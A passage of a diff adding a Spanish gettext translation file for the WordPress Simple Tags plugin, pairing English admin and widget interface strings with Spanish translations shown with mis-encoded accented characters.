+msgstr "ID (descendente)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "ID (ascendente)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "Filtro&hellip;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "Todo"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr "SÃ³lo sin etiquetar"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "Filtrar &#187;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:912
+#: /2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "Actualizar todo"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:936
+#: /2.5/inc/simple-tags.admin.php:1080
+#: /2.7/inc/simple-tags.admin.php:1096
+msgid "No content to edit."
+msgstr "No hay contenido que editar."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "Etiquetas (separa mÃºltiples etiquetas con comas: gatos, comida mascotas, perros)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1105
+#: /2.5/inc/simple-tags.admin.php:1338
+#: /2.7/inc/simple-tags.admin.php:1329
+msgid "No new tag specified!"
+msgstr "Â¡No se ha especificado ninguna nueva etiqueta!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1124
+#: /2.5/inc/simple-tags.admin.php:1353
+#: /2.7/inc/simple-tags.admin.php:1344
+msgid "No new/old valid tag specified!"
+msgstr "Â¡No se ha especificado ninguna etiqueta nueva/antigua vÃ¡lida!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1156
+#: /2.5/inc/simple-tags.admin.php:1389
+#: /2.7/inc/simple-tags.admin.php:1380
+msgid "No tag renamed."
+msgstr "No se ha renombrado ninguna etiqueta."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1159
+#: /2.5/inc/simple-tags.admin.php:1391
+#: /2.7/inc/simple-tags.admin.php:1382
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "Etiqueta(s) renombrada(s) &laquo;%1$s&raquo; a &laquo;%2$s&raquo;"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1166
+#: /2.5/inc/simple-tags.admin.php:1398
+#: /2.7/inc/simple-tags.admin.php:1389
+msgid "No valid new tag."
+msgstr "Nueva etiqueta no vÃ¡lida."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1183
+#: /2.5/inc/simple-tags.admin.php:1415
+#: /2.7/inc/simple-tags.admin.php:1406
+msgid "No objects (post/page) found for specified old tags."
+msgstr "No se han encontrado objetos (entradas/pÃ¡ginas) para las etiquetas antiguas especificadas."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1208
+#: /2.5/inc/simple-tags.admin.php:1444
+#: /2.7/inc/simple-tags.admin.php:1433
+msgid "No tag merged."
+msgstr "No se ha combinado ninguna etiqueta."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1211
+#: /2.5/inc/simple-tags.admin.php:1446
+#: /2.7/inc/simple-tags.admin.php:1435
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "Combinar etiqueta(s) &laquo;%1$s&raquo; a &laquo;%2$s&raquo;. %3$s objetos editados."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1214
+#: /2.5/inc/simple-tags.admin.php:1449
+#: /2.7/inc/simple-tags.admin.php:1438
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "Error. No hay suficientes etiquetas para renombrar. Demasiado para combinar. Â¡Elige!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1240
+#: /2.5/inc/simple-tags.admin.php:1476
+#: /2.7/inc/simple-tags.admin.php:1465
+msgid "No tag specified!"
+msgstr "Â¡No se ha especificado ninguna etiqueta!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1265
+#: /2.5/inc/simple-tags.admin.php:1499
+#: /2.7/inc/simple-tags.admin.php:1488
+msgid "No tag deleted."
+msgstr "No se ha borrado ninguna etiqueta."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1268
+#: /2.5/inc/simple-tags.admin.php:1501
+#: /2.7/inc/simple-tags.admin.php:1490
+#, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%1s etiqueta(s) borrada(s)."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1280
+#: /2.5/inc/simple-tags.admin.php:1513
+#: /2.7/inc/simple-tags.admin.php:1502
+msgid "No new tag(s) specified!"
+msgstr "Â¡No se han especificado nuevas etiquetas!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1328
+#: /2.5/inc/simple-tags.admin.php:1564
+#: /2.7/inc/simple-tags.admin.php:1553
+msgid "No tag added."
+msgstr "No se ha aÃ±adido ninguna etiqueta."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1331
+#: /2.5/inc/simple-tags.admin.php:1566
+#: /2.7/inc/simple-tags.admin.php:1555
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "Etiqueta(s) aÃ±adida(s) a %1s entrada(s)."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1343
+#: /2.5/inc/simple-tags.admin.php:1578
+#: /2.7/inc/simple-tags.admin.php:1567
+msgid "No new slug(s) specified!"
+msgstr "Â¡No se han especificado nuevos identificadores!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1359
+#: /2.5/inc/simple-tags.admin.php:1590
+#: /2.7/inc/simple-tags.admin.php:1579
+msgid "Tags number and slugs number isn't the same!"
+msgstr "Â¡El nÃºmero de etiquetas y de identificadores no son el mismo!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1383
+#: /2.5/inc/simple-tags.admin.php:1617
+#: /2.7/inc/simple-tags.admin.php:1606
+msgid "No slug edited."
+msgstr "No se ha editado ningÃºn identificador."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1386
+#: /2.5/inc/simple-tags.admin.php:1619
+#: /2.7/inc/simple-tags.admin.php:1608
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s identificador(es) editado(s)."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1404
+#: /2.5/inc/simple-tags.admin.php:1637
+#: /2.7/inc/simple-tags.admin.php:1626
+msgid "Nothing to muck. Good job !"
+msgstr "Nada que limpiar. Â¡Buen trabajo!."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1429
+#: /2.5/inc/simple-tags.admin.php:1665
+#: /2.7/inc/simple-tags.admin.php:1654
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s filas borradas. Â¡Ahora la BDD de WordPress estÃ¡ limpia!"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1678
+#: /2.7/inc/simple-tags.admin.php:130
+msgid "Display click tags"
+msgstr "Mostrar etiquetas"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1679
+#: /2.7/inc/simple-tags.admin.php:131
+msgid "Hide click tags"
+msgstr "Ocultar etiquetas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1504
+#: /2.5/inc/simple-tags.admin.php:1696
+#: /2.7/inc/simple-tags.admin.php:1682
+msgid "Suggested tags from :"
+msgstr "Etiquetas sugeridas desde:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1505
+#: /2.5/inc/simple-tags.admin.php:1697
+#: /2.7/inc/simple-tags.admin.php:1683
+msgid "Local tags"
+msgstr "Etiquetas locales."
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1506
+#: /2.5/inc/simple-tags.admin.php:1698
+#: /2.7/inc/simple-tags.admin.php:1684
+msgid "Yahoo"
+msgstr "Yahoo"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1507
+#: /2.5/inc/simple-tags.admin.php:1699
+#: /2.7/inc/simple-tags.admin.php:1685
+msgid "Tag The Net"
+msgstr "Tag The Net"
+
+# F:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1513
+#: /2.5/inc/simple-tags.admin.php:1702
+#: /2.7/inc/simple-tags.admin.php:136
+msgid "Choose a provider to get suggested tags (local, yahoo or tag the net)."
+msgstr "Elige un proveedor para las etiquetas sugeridas (local, Yahoo o Tag the net)."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1742
+#: /2.5/inc/simple-tags.admin.php:1783
+#: /2.7/inc/simple-tags.admin.php:1757
+#, php-format
+msgid "%s post(s) tags updated with success !"
+msgstr "Â¡%s etiqueta(s) de entrada(s) actualizada(s) con Ã©xito!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:1744
+#: /2.5/inc/simple-tags.admin.php:1781
+#: /2.7/inc/simple-tags.admin.php:1755
+#, php-format
+msgid "%s page(s) tags updated with success !"
+msgstr "Â¡%s etiqueta(s) de pÃ¡gina(s) actualizada(s) con Ã©xito!"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2155
+#: /2.5/inc/simple-tags.admin.php:2189
+#, php-format
+msgid "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2007 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s | TraducciÃ³n por <a href=\"http://agamum.net/blog/\" title=\"Agamum.net\">Samuel Aguilera</a>"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2195
+msgid "Page: "
+msgstr "PÃ¡gina: "
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2274
+#: /2.5/inc/simple-tags.admin.php:2291
+#: /2.7/inc/simple-tags.admin.php:2213
+msgid "General"
+msgstr "General"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2277
+#: /2.5/inc/simple-tags.admin.php:2294
+#: /2.7/inc/simple-tags.admin.php:2207
+msgid "Administration"
+msgstr "AdministraciÃ³n"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2280
+#: /2.5/inc/simple-tags.admin.php:2297
+#: /2.7/inc/simple-tags.admin.php:2216
+msgid "Meta Keyword"
+msgstr "Palabras clave"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2283
+#: /2.5/inc/simple-tags.admin.php:2300
+#: /2.7/inc/simple-tags.admin.php:2219
+#: /extras/simple-tags.importer.php:242
+msgid "Embedded Tags"
+msgstr "Incrustadas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2286
+#: /2.5/inc/simple-tags.admin.php:2303
+#: /2.7/inc/simple-tags.admin.php:2222
+msgid "Tags for Current Post"
+msgstr "Entrada actual"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2289
+#: /2.5/inc/simple-tags.admin.php:2306
+#: /2.7/inc/simple-tags.admin.php:2225
+msgid "Related Posts"
+msgstr "Entradas relacionadas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2292
+#: /2.5/inc/simple-tags.admin.php:2309
+#: /2.7/inc/simple-tags.admin.php:2228
+msgid "Related Tags"
+msgstr "Etiq. relacionadas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.admin.php:2295
+#: /2.5/inc/simple-tags.admin.php:2312
+#: /2.7/inc/simple-tags.admin.php:2231
+msgid "Tag cloud"
+msgstr "Nube de etiquetas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:143
+#: /2.5/inc/simple-tags.widgets.php:131
+#: /2.7/inc/simple-tags.widgets.php:131
+msgid "Empty field will use default value."
+msgstr "Con el campo vacÃ­o se usarÃ¡ el valor predeterminado."
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:134
+#: /2.7/inc/simple-tags.widgets.php:134
+msgid "Title:"
+msgstr "TÃ­tulo:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:151
+#: /2.5/inc/simple-tags.widgets.php:139
+#: /2.7/inc/simple-tags.widgets.php:139
+msgid "Max tags to display: (default: 45)"
+msgstr "MÃ¡x. de etiquetas a mostrar: (predeterminado: 45)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:156
+#: /2.5/inc/simple-tags.widgets.php:144
+#: /2.7/inc/simple-tags.widgets.php:144
+msgid "Tags selection:"
+msgstr "SelecciÃ³n de etiquetas:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:159
+#: /2.3/inc/simple-tags.widgets.php:170
+#: /2.5/inc/simple-tags.widgets.php:147
+#: /2.5/inc/simple-tags.widgets.php:158
+#: /2.7/inc/simple-tags.widgets.php:147
+#: /2.7/inc/simple-tags.widgets.php:158
+msgid "Inverse Alphabetical"
+msgstr "AlfabÃ©tico inverso"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:160
+#: /2.5/inc/simple-tags.widgets.php:148
+#: /2.7/inc/simple-tags.widgets.php:148
+msgid "Most popular (default)"
+msgstr "MÃ¡s popular (predeterminado)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:162
+#: /2.5/inc/simple-tags.widgets.php:150
+#: /2.7/inc/simple-tags.widgets.php:150
+msgid "Random"
+msgstr "Aleatorio"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:173
+#: /2.5/inc/simple-tags.widgets.php:161
+#: /2.7/inc/simple-tags.widgets.php:161
+msgid "Random (default)"
+msgstr "Aleatorio (predeterminado)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:178
+#: /2.5/inc/simple-tags.widgets.php:166
+#: /2.7/inc/simple-tags.widgets.php:166
+msgid "Font size mini: (default: 8)"
+msgstr "TamaÃ±o min. de fuente: (predeterminado: 8)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:183
+#: /2.5/inc/simple-tags.widgets.php:171
+#: /2.7/inc/simple-tags.widgets.php:171
+msgid "Font size max: (default: 22)"
+msgstr "TamaÃ±o mÃ¡x. de fuente: (predeterminado: 22)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:188
+#: /2.5/inc/simple-tags.widgets.php:176
+#: /2.7/inc/simple-tags.widgets.php:176
+msgid "Unit font size:"
+msgstr "Unidad de tamaÃ±o de fuente:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:190
+#: /2.5/inc/simple-tags.widgets.php:178
+#: /2.7/inc/simple-tags.widgets.php:178
+msgid "Point (default)"
+msgstr "Punto (predeterminado)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:191
+#: /2.5/inc/simple-tags.widgets.php:179
+#: /2.7/inc/simple-tags.widgets.php:179
+msgid "Pixel"
+msgstr "Pixel"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:192
+#: /2.5/inc/simple-tags.widgets.php:180
+#: /2.7/inc/simple-tags.widgets.php:180
+msgid "Em"
+msgstr "Em"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:193
+#: /2.5/inc/simple-tags.widgets.php:181
+#: /2.7/inc/simple-tags.widgets.php:181
+msgid "Pourcent"
+msgstr "Porcentaje"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:198
+#: /2.5/inc/simple-tags.widgets.php:186
+#: /2.7/inc/simple-tags.widgets.php:186
+msgid "Format:"
+msgstr "Formato:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:200
+#: /2.5/inc/simple-tags.widgets.php:188
+#: /2.7/inc/simple-tags.widgets.php:188
+msgid "Flat (default)"
+msgstr "Plano (predeterminado)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:201
+#: /2.5/inc/simple-tags.widgets.php:189
+#: /2.7/inc/simple-tags.widgets.php:189
+msgid "List (UL/LI)"
+msgstr "Lista  (UL/LI)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:207
+#: /2.5/inc/simple-tags.widgets.php:195
+#: /2.7/inc/simple-tags.widgets.php:195
+msgid "Use auto color cloud:"
+msgstr "Usar auto color de nube:"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:211
+#: /2.5/inc/simple-tags.widgets.php:199
+#: /2.7/inc/simple-tags.widgets.php:199
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "Color fuente min.: (predeterminado: #CCCCCC)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:216
+#: /2.5/inc/simple-tags.widgets.php:204
+#: /2.7/inc/simple-tags.widgets.php:204
+msgid "Font color max: (default: #000000)"
+msgstr "Color fuente mÃ¡x.: (predeterminado: #000000)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:221
+#: /2.5/inc/simple-tags.widgets.php:209
+#: /2.7/inc/simple-tags.widgets.php:209
+msgid "Extended format: (advanced usage)"
+msgstr "Formato extendido: (uso avanzado)"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:252
+msgid "Tag Cloud Widgets"
+msgstr "Widgets de nube de etiquetas"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:253
+#: /2.5/inc/simple-tags.widgets.php:241
+#: /2.7/inc/simple-tags.widgets.php:241
+msgid "How many tag cloud widgets would you like?"
+msgstr "Â¿Cuantos widgets de nube de etiquetas quieres?"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:257
+#: /2.5/inc/simple-tags.widgets.php:245
+#: /2.7/inc/simple-tags.widgets.php:245
+msgid "Save"
+msgstr "Guardar"
+
+# C:\SVN\ST
+#: /2.3/inc/simple-tags.widgets.php:274
+#: /2.3/inc/simple-tags.widgets.php:275
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "Nube de etiquetas extendida %d"
+
+# C:\SVN\ST
+#: /2.5/simple-tags.client.php:111
+#: /2.7/simple-tags.client.php:113
+msgid "No tags for this post."
+msgstr "No hay etiquetas para esta entrada."
+
+# C:\SVN\ST
+#: /2.5/simple-tags.client.php:123
+#: /2.7/simple-tags.client.php:125
+msgid "No related tags found."
+msgstr "No se han encontrado etiquetas relacionadas."
+
+# C:\SVN\ST
+#: /2.5/simple-tags.client.php:1116
+#: /2.7/simple-tags.client.php:1128
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Eliminar %tag_name_attribute% de la bÃºsqueda\">Eliminar %tag_name%</a>"
+
+# C:\SVN\ST
+#: /2.5/simple-tags.client.php:1505
+#: /2.7/simple-tags.client.php:1517
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:233
+#: /2.5/inc/simple-tags.admin.php:537
+#: /2.5/inc/simple-tags.admin.php:1083
+#: /2.7/inc/simple-tags.admin.php:293
+#: /2.7/inc/simple-tags.admin.php:593
+#: /2.7/inc/simple-tags.admin.php:1099
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Visita la <a href=\"http://code.google.com/p/simple-tags/\">pÃ¡gina del plugin</a> para mÃ¡s detalles. Si encuentras un fallo, o tienes una idea fantÃ¡stica para esta extensiÃ³n, Â¡<a href=\"mailto:amaury@wordpress-fr.net\">consÃºltame</a>!"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:240
+#: /2.7/inc/simple-tags.admin.php:300
+msgid "Options"
+msgstr "Opciones"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:244
+#: /2.7/inc/simple-tags.admin.php:304
+msgid "Activation"
+msgstr "ActivaciÃ³n"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:251
+#: /2.7/inc/simple-tags.admin.php:311
+msgid "Tags database"
+msgstr "Base de datos de etiquetas"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:258
+#: /2.7/inc/simple-tags.admin.php:318
+msgid "Target"
+msgstr "Destino"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:265
+#: /2.7/inc/simple-tags.admin.php:325
+msgid "Keywords list"
+msgstr "Lista de palabras clave"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:268
+#: /2.7/inc/simple-tags.admin.php:328
+msgid "Separated with a comma"
+msgstr "Separadas por coma"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:274
+#: /2.5/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:563
+#: /2.7/inc/simple-tags.admin.php:333
+#: /2.7/inc/simple-tags.admin.php:596
+#: /2.7/inc/simple-tags.admin.php:610
+msgid "Update options &raquo;"
+msgstr "Actualizar opciones &raquo;"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:278
+#: /2.7/inc/simple-tags.admin.php:337
+msgid "Auto tags all content &raquo;"
+msgstr "Auto etiquetar todo el contenido &raquo;"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:316
+#: /2.7/inc/simple-tags.admin.php:375
+#, php-format
+msgid "All done! %s tags added."
+msgstr "Â¡Todo listo!, %s etiqueta(s) aÃ±adida(s)."
+
+# F:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:332
+#: /2.7/inc/simple-tags.admin.php:391
+msgid "Active tags for page:"
+msgstr "Etiquetas activas para pÃ¡gina:"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:333
+#: /2.7/inc/simple-tags.admin.php:392
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "Esta funciÃ³n permite que la pÃ¡gina sea etiquetada. Esta opciÃ³n aÃ±ade las pÃ¡ginas en la bÃºsqueda de etiquetas. TambiÃ©n aÃ±ade gestiÃ³n de etiquetas en escribir pÃ¡gina."
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:355
+#: /2.7/inc/simple-tags.admin.php:418
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "Incluye automÃ¡ticamente en tu cabecera la etiqueta meta para palabras clave (la mayorÃ­a de los temas, no todos, admiten esto). Estas palabras clave a veces las usan los buscadores.<br /><strong>AtenciÃ³n:</strong> Si la extensiÃ³n \"All in One SEO Pack\" estÃ¡ instalada y activada. Esta funciÃ³n se desactiva automÃ¡ticamente."
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:880
+#: /2.7/inc/simple-tags.admin.php:886
+msgid "Published"
+msgstr "Publicada"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:880
+#: /2.7/inc/simple-tags.admin.php:886
+msgid "Published posts"
+msgstr "Entradas publicadas"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:881
+#: /2.7/inc/simple-tags.admin.php:887
+msgid "Scheduled"
+msgstr "Programada"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:881
+#: /2.7/inc/simple-tags.admin.php:887
+msgid "Scheduled posts"
+msgstr "Entradas programadas"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:882
+#: /2.7/inc/simple-tags.admin.php:888
+msgid "Pending Review"
+msgstr "Pendiente de revisiÃ³n"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:882
+#: /2.7/inc/simple-tags.admin.php:888
+msgid "Pending posts"
+msgstr "Entradas pendientes"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:883
+#: /2.7/inc/simple-tags.admin.php:889
+msgid "Draft"
+msgstr "Borrador"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:883
+#: /2.7/inc/simple-tags.admin.php:889
+msgid "Drafts|manage posts header"
+msgstr "Borradores|cabecera de gestiÃ³n de entradas"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:884
+#: /2.7/inc/simple-tags.admin.php:890
+msgid "Private"
+msgstr "Privada"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:884
+#: /2.7/inc/simple-tags.admin.php:890
+msgid "Private posts"
+msgstr "Entradas privadas"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:928
+#: /2.7/inc/simple-tags.admin.php:934
+msgid "Mass edit tags"
+msgstr "EdiciÃ³n masiva de etiquetas"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:935
+#: /2.7/inc/simple-tags.admin.php:941
+msgid "All Posts"
+msgstr "Todas las entradas"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:956
+#: /2.7/inc/simple-tags.admin.php:962
+msgid "All Pages"
+msgstr "Todas las pÃ¡ginas"
+
+# F:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:965
+#: /2.7/inc/simple-tags.admin.php:971
+msgid "Search Posts"
+msgstr "Buscar entradas"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:997
+#: /2.7/inc/simple-tags.admin.php:1003
+msgid "Show all dates"
+msgstr "Mostrar todas las fechas"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.admin.php:1017
+#: /2.7/inc/simple-tags.admin.php:1023
+msgid "View all categories"
+msgstr "Ver todas las categorÃ­as"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:1030
+#: /2.7/inc/simple-tags.admin.php:1036
+msgid "Filter"
+msgstr "Filtrar"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:1060
+#: /2.7/inc/simple-tags.admin.php:1076
+msgid "Update all &raquo;"
+msgstr "Actualizar todo &raquo;"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.admin.php:1276
+#: /2.5/inc/simple-tags.admin.php:1291
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr "Etiquetas <small>(separa mÃºltiples etiquetas con comas: gatos, comida mascotas, perros)</small>"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.widgets.php:240
+#: /2.7/inc/simple-tags.widgets.php:240
+msgid "Simple Tags : Tag Cloud Widgets"
+msgstr "Simple Tags : Widgets de nube de etiquetas"
+
+# D:\SVN\Plugins\ST
+#: /2.5/inc/simple-tags.widgets.php:253
+#: /2.7/inc/simple-tags.widgets.php:253
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "Tus etiquetas mÃ¡s usadas en formato de nube con color dinÃ¡mico y varias opciones"
+
+# C:\SVN\ST
+#: /2.5/inc/simple-tags.widgets.php:263
+#: /2.5/inc/simple-tags.widgets.php:264
+#: /2.7/inc/simple-tags.widgets.php:263
+#: /2.7/inc/simple-tags.widgets.php:264
+#, php-format
+msgid "ST: Tag Cloud %d"
+msgstr "ST: Nube de etiquetas %d"
+
+# F:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:402
+msgid "This feature displays a visual help allowing to enter tags more easily. As well add tags is easier than the autocompletion default of WordPress"
+msgstr "Esta funciÃ³n muestra una ayuda visual permitiendo introducir etiquetas mÃ¡s fÃ¡cilmente. TambiÃ©n aÃ±adir etiquetas es mÃ¡s fÃ¡cil que el autocompletado predeterminado de WordPress"
+
+#: /2.7/inc/simple-tags.admin.php:411
+msgid "Maximum number of links per article:"
+msgstr "NÃºmero mÃ¡ximo de enlaces por artÃ­culo:"
+
+#: /2.7/inc/simple-tags.admin.php:412
+msgid "This setting determines the maximum number of links created by article. Default: 10."
+msgstr "Este ajuste determina el nÃºmero mÃ¡ximo de enlaces por artÃ­culo. Predeterminado: 10."
+
+#: /2.7/inc/simple-tags.admin.php:1053
+msgid "Post title"
+msgstr "TÃ­tulo de entrada"
+
+# C:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:1054
+msgid "Tags"
+msgstr "Etiquetas"
+
+# C:\SVN\ST
+#: /2.7/inc/simple-tags.admin.php:1305
